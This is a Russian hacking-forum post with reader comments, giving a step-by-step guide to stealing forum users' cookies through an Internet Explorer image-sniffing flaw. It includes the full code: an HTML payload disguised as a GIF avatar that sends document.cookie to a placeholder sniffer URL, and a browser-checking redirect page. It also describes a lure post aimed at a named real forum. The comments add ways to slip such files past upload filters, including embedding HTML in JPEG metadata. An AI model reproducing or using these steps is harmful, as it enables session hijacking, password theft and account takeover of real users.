Статью начал писать давно, но все что-то руки не доходили закончить. А тут - приболел малость. Вообщем - появилось n-e количество времени. О чем: бага в ИЕ с отображением html-кода содержащегося в изображении известна давно и многим. Но, что-то, как-то публично не очень юзалась. А может просто забыли? Ну вот и вспомним: --------------------------------------------- Если ничего не помогает, а выполнить произвольный html-код в браузере жертвы очень хочется, тогда остается последняя надежда - IE (Internet Explorer) у жертвы. Которым она бороздит просторы инета и портит вам нервы (канешна портит. иначе зачем вам она была бы нужна?) -- Справка для тех у кого нет Интернета: внедрение произвольного html-кода на страницу сайта которую смотрит жертва называют CSS. Так как уже есть такая аббревиатура и чтобы не путать с CSS - Каскадными Таблицами Стилей, такую хрень стали называть XSS. А если мы можем внедрять любой html-код на страницу которую жертва посещает и там зарегистрирована, то мы имеем возможность: получить сессию, логин, пароль (хэш пароля), сменить в анкете или настройках какие нить данные (если нам это позволительно), ну и совершать иные действия от имени жертвы (но без ее ведома и согласия). Если, например, брать он-лайн игры - то можем перевести деньги другому игроку. При условии, что на перевод не стоит ввод пароля или не требуется ввод контрольных цифр или к.слова (которое с нормальным то зрением фиг прочитаешь), или не требуется всяческих подтверждений. Ну, или, выложить на Рынок всю амуницию жертвы по минимальной цене и потом все скупить. Вариантов очень много. -- Где использовать: Практически везде, где есть возможность загрузки изображений (аватарок, фоток с ваших пьянок-посиделок и т.п.). Т.е. - форумы, чаты, службы знакомств, некоторые почтовые сервисы, он-лайн игры, etc... Что нужно: немножко везения, ИЕ у жертвы, steep-by-steep который ниже. --------------------------------------------- steep-by-steep:Чтобы было более понятнее, надо показывать на примере чего-либо (какого-нить сайта). Выберем этот сайт-пример. Лучше - Форум. Чтобы выбор был чисто случайным и не было обвинений в предвзятости, используем маленький кусочек кода на JavaScript, который нам случайно (считай RND) сгенерит адрес этого сайта-примера: ... Code: <script language="JavaScript"> var domen = "qwtyiosxakep.rudfghjlzcvbnm"; max = 27; for (i=0;i==i;i++) { var RandomTime=new Date(); var z=(RandomTime.getSeconds())%max; if (z=="6") { alert(domen.substring(z+1,15)) break; } } </script> ... Запускаем... Ждем... Получаем: xakep.ru Хм... Забавно и неожиданно получилось... Ну Ок. Идем тогда туда и смотрим что там есть. А там есть Форум (http://forum.xakep.ru/). Этот Форум (Ideal BB) примечателен тем, что в куках хранит пароль в открытом виде... -- Начинаем готовиться: 1.На некоторое время оставляем Форум и лезем на сайт narod.ru регистрировать себе там якобы "взломанный" нами сайт (для этого примера). Я зарегистрировал http://www.protivhackerov.narod.ru 2.Открываем Блокнот, и пишем там следующий html-код: ... Code: <body onloаd="javаscript:document.locatiоn.replаce('http://www.АДРЕС_ЯКОБЫ_ВЗЛОМАННОГО_САЙТА.narod.ru/index.htm')"> <script language="JavаScript"> img = nеw Imаge(); img.srс = "http://АДРЕС_СНИФЕРА.ru/snifer.php?"+document.cookie; </script> ... После чего сохраняем, например, под именем bad_avatar.gif (т.е. это у нас будет изображение содержащее html-код) 3.Заходим на сайт-пример (у нас это http://forum.xakep.ru/) и регистрируемся там под любым ником. После прохождения регистрации, заходим в "Мой профиль"-"Редактировать профайл" там чуть ниже "Загрузить свой аватар на сервер." жмем "Обзор", выбираем наш bad_avatar.gif, жмем кнопку "Загрузить"... Вместо Аватарки будет показываться крестик (что правильно. у нас же там не изображение, а html-код). После всех этих процедур тыкаем правой кнопкой мышки в Аватарку, выбираем свойства и копируем полный путь (URL) нашей аватарки. 4.Открываем Блокнот (или в чем ты там изгаляешься?), и пишем там этот html-код (как урезанный пример): ... Code: <html><head><title>Сайт взломан!</title></head><body>Типа взломал</body></html> ... Сохраняем как index.htm 5.Опять открываем Блокнот и пишем (ctrl+c/ctrl+v) там это: ... Code: <html><head></head><body> <script lаnguage="JavaScript"> <!-- if (navigаtor.appNamе=="Microsoft Internet Explorer") windоw.locаtion.href="http://forum.xakep.ru/avatars/НАЗВАНИЕ_АВАТАРКИ_УЖЕ_ЗАГРУЖЕНОЙ_НА_СЕРВЕР.gif"; else windоw.locаtion.hrеf="http://www.protivhackerov.narod.ru/index.htm"; // --> </script></body></html><noscript><noscript><plаintext><plaintext> ... Сохраняем как index.html ... 6.Заходим в "Мастерскую" Народ_Ру (или по ftp) и закачиваем на сайт АДРЕС_ЯКОБЫ_ВЗЛОМАННОГО_САЙТА.narod.ru (у нас это http://www.protivhackerov.narod.ru) эти две странички: index.htm и index.html -- Справка для тех у кого нет Интернета: Мы создали две индекс-странички. Одна (index.htm) - наш якобы "взломанный" сайт, вторая (index.html) у нас будет промежуточным звеном. Почему два индекса? Потому что на Народ_Ру если зайти по ссылке http://www.protivhackerov.narod.ru отобразиться страница index.html Т.е. тоже самое если бы мы зашли так: http://www.protivhackerov.narod.ru/index.html если же не будет страницы index.html то сервер будет искать в корне сайта страницу index.htm И нам они нужны именно две с одинаковыми названиями (разными расширениями), чтобы как то "замылить" глаз нашей жертве. ... На странице index.html (в конце) после тэга </html> мы ставим <noscript><noscript><plaintext><plaintext> чтобы "убить" баннер Народ_Ру, который предательски показывается в правом верхнем углу. ... 7.Все. У нас все готово, настроено и прописано. Теперь топаем на Форум, регистрируем себе новое и нормальное имя, выставляем нормальный Аватар, лезем и создаем новую тему. Типа: "Аллоха, Гавайи! Народ, зацените, плиз, мой самый первый и очччень грамотный дефейс! http://www.АДРЕС_ЯКОБЫ_ВЗЛОМАННОГО_САЙТА.narod.ru И отписывайтесь здесь, как он Вам?" -- Справка для тех у кого нет Интернета:После того, как многие полезут заценивать твой грамотный дефейс, будет происходить вот что: Когда они зайдут по ссылке http://www.АДРЕС_ЯКОБЫ_ВЗЛОМАННОГО_САЙТА.narod.ru, то им загрузиться страница index.html на которой проверяется какой Браузер у посетителя. Если не ИЕ - то облом`с и перекидываем его на страницу index.htm (непосредственно страница нашего "взломанного" сайта). Если же ИЕ, то посетитель перекидывается на наш загруженный bad_avatar.gif и после отсылки cookie к тебе на снифер, перекидывается на страницу index.htm где и лицезреет твой дефейс... -- Ну а дальше ты топаешь и смотришь логи своего снифера, и радостно собираешь урожай... --------------------------------------------- Справка для тех у кого нет Интернета (типа переменные): http://www.АДРЕС_ЯКОБЫ_ВЗЛОМАННОГО_САЙТА.narod.ru - адрес липового сайта, куда будем заманивать жертву bad_avatar.gif - наше псевдоизображение содержащее html-код НАЗВАНИЕ_АВАТАРКИ_УЖЕ_ЗАГРУЖЕНОЙ_НА_СЕРВЕР.gif - это новое название нашей Аватарки bad_avatar.gif, но уже загруженной (при загрузке - может поменяться имя) http://АДРЕС_СНИФЕРА.ru/snifer.php - адрес вашего снифера, который будет принимать и заботливо складировать переданные ему куки index.htm - непосредственно страница с липовым Дефейсом index.html - страница, которая у нас играет роль перекрестка (редирект). Если ИЕ - то на аватарку (куки передаются сниферу) и потом на index.htm, если не ИЕ - то сразу на index.htm steep-by-steep - просто название. шаг-за-шагом (по-шагово) -- Справка для тех у кого нет Интернета: Ты лучше скажи - как ты вообще сюда попал, коли инета у тебя нету? --------------------------------------------- С Уважением, censored! [antichat.ru] --------------------------------------------- p.s. сайт xakep.ru был выбран случайно (код JS вверху) =) p.s.s. все было проверено на Форуме xakep.ru, но с единственной лишь разницей, что тема (как в п.7) не создавалась. + на настоящий момент загрузка Аватарок что-то вообще не работает. p.s.s.s. Вот уже загруженная Аватарка (не bad_avatar.gif, а другая - как пример) покажет alert-ом куки: http://forum.xakep.ru/avatars/avatar15.gif (!!!) p.s.s.s.s. В JS-код как мог выставил "защиту от дурака". Не маленькие уже. Сами разберетесь.
Спасибо интересная статья , я даже на принтере напичатал его, но у меня маленкий вопрос, это всё делается на одной страничке индекс,или саздаём несколько страниц, для каждого кода и скрипта?.
Хорошая статья, могу только добавить, что часто на форумах аватара со скриптом не загружается с харда-но отлично загружается с ссылки. И ещё один способ залить такую "картинку" на форум-отправить её самому себе в личном сообщении.
Да...хотелось бы дополнить, что со следующими расширениями тож прокатывает описанная фича:avi,bmp,gif,jpeg,jpg,mpeg,mpg,ogg,pdf,png,rar,txt если с ними не ассоциированны невиндовые проги... Например адрес типа http://server.com/foto_from_party.rar ничего подозрительного не вызывает...
Пеши исчо Кста сервак отдает Content-Type: image/gif но ИЕ типо "умный" и недоверяет)) Да на хакере.ру Server: Microsoft-IIS/6.0 - упал пацтул)))))))))
А маленький, зелёнинький прямоугольничек под твоей аватаркой, наведи курсор туда и подожди, вылезет типа подсказки, и будет написана репутация. А свою можешь просмотреть в профиле. сорри за оффтоп
Бага действительно старая, а в статье мне понравилась интересная реализация. Довольно неплохо. Кстати и в моей пропаченой версии осла скрипт тоже выполняется и вот вопрос сам билл, что думает об этом? Считают ли разроботчики выполнение скрипта в картинке ошибкой?=)
Чта думает бил знаит тока сам бил, с вапросами к ниму)) Лична я предпалагаю что не тока нают но и счетают эта не багом а фичей)) Боле таго такое павидение задумывалась с самага начала. Кодеры из мелкасофт ведь ни зря счетают сибя самемы умными ))
Да, я тож думаю что они считают это фичей. В принципе такое поведение браузера довольно логично. Он не обращает внимания на расширение файла, потому как оно ваще может быть любым. Например адрес http://blablabla.ru/image.php?index=2434 тоже может быть картинкой, однако из расширения этого не видно. А вот то, что он игнорирует хидер HTTP запроса это уже не так хорошо. Но и здесь есть логика. Дело в том, что сам сервер может не знать что именно он отсылает. Все тот же скрипт http://blablabla.ru/image.php?index=2434 может как присылать в хидере информацию о типе данных, так и не присылать - все зависит от воли разработчика. Поэтому IE и не доверяет хидерам, а пытается парсить контент на ходу. Опера и мозиллы действуют проще - они тупо открывают файл в соответствии с инфой в хидере. Кстати более интересный вариант, чем просто замена картинки хтмлом - это совмещение картинки и ХТМЛ в одном файле. Дело в том, что некоторые форматы JPEG поддерживают т.н. метатеги - это символьные поля, в которых может содержаться информация о картинке или об авторе. В эти поля естественно можно внедрить и HTML. В таком случае IE воспринимает этот файл как HTML, в то время как он на самом деле является вполне корректной картинкой ))) (и свободно проходит сквозь различные фильтры, проверяющие контент). Кроме того, такой файл отображается в Опере как нормальная картинка))
Поэтому я всегда говорю - ИЕ самый юзерфрендли браузер, но у него из-за этого сурьезные проблемы с безопасностью
Mina, загружай аватару с сервера- т.е. залей картинку на какой-нибудь сайт(ну или если нет-то тогда создай на том же холме), а потом загружай картинку с сервера, например в phpbb2 есть такая функция.
А в панбб не работает!!! Матюкается что не подерживает тип. Кто его учил внутрь файла лезть и че-то там читать? Кстати, по какому принципу действует PHP: $allowed_types = array('image/gif', 'image/jpeg', 'image/pjpeg', 'image/png', 'image/x-png'); if (!in_array($uploaded_file['type'], $allowed_types)) message($lang_profile['Bad type']); Кто-нибудь знает, как определяется $uploaded_file['type']? очень важно. Может в конец гифа можно приписать хтмл или наоборот?
фуфло да не болие! Ну какой Ламер будет кликать на аватару с кодом причём где он видет что в картинке плюсик??? С таким же ходом можно просто ссылку на страницу со сниффером кинуть. Бред как вы такие статьи воощбе писать любити меня просто поражает это!
Прочитай статью еще раз. Внимательно. Где там написано "юзер должен тыкнуть на аватар"? И? И что ты этим добьешься? Вот такие вот мы любители-извращенцы.